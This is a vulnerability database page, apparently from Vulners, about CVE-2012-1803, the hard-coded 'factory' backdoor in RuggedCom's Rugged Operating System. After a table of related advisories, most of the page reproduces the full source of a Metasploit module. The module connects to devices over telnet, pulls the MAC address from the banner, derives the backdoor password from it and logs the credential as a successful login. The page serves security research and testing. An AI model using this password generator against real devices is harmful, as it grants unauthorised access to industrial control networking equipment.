| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| RuggedCom Devices Backdoor Access | 24 Apr 201200:00 | – | zdt | |
| Exploit for CVE-2012-1803 | 25 May 202617:37 | – | githubexploit | |
| CVE-2012-1803 | 29 May 201815:50 | – | circl | |
| CVE-2012-1803 | 28 Apr 201200:00 | – | cve | |
| CVE-2012-1803 | 28 Apr 201200:00 | – | cvelist | |
| RuggedCom Devices - Backdoor Access | 24 Apr 201200:00 | – | exploitdb | |
| RuggedCom Devices - Backdoor Access | 24 Apr 201200:00 | – | exploitpack | |
| RuggedCom Weak Cryptography for Password Vulnerability | 26 Feb 201207:00 | – | ics | |
| RuggedCom Telnet Password Generator | 13 May 201209:09 | – | metasploit | |
| CVE-2012-1803 | 28 Apr 201200:55 | – | nvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'RuggedCom Telnet Password Generator',
'Description' => %q{
This module will calculate the password for the hard-coded hidden username
"factory" in the RuggedCom Rugged Operating System (ROS). The password is
dynamically generated based on the devices MAC address.
},
'References' =>
[
[ 'CVE', '2012-1803' ],
[ 'EDB', '18779' ],
[ 'US-CERT-VU', '889195' ]
],
'Author' => [
'Borja Merino <bmerinofe[at]gmail.com>',
'jc' # ExploitDB PoC
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(23),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
])
end
def mac_to_password(mac)
print_status("MAC Address: #{mac}")
mac_clean = mac.gsub("-","")
mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
mac_reverse << "0000"
pass = mac_reverse.hex % 999999929
print_status("Password: #{pass}")
return pass.to_s
end
def get_info(banner)
product = banner.match(/Product:\s*\S*/)[0]
so_version = banner.match(/Rugged Operating System\s\S*/)[0]
return so_version << " " << product
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'telnet',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
begin
::Timeout.timeout(to) do
res = connect
banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
if banner_santized =~ /Rugged Operating System/
print_status("#{ip}:#{rport} Calculating Telnet password ...")
mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
password = mac_to_password(mac)
info = get_info(banner_santized)
report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
break
else
print_status("It doesn't seem to be a RuggedCom service.")
break
end
end
rescue ::Rex::ConnectionError
rescue Timeout::Error
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation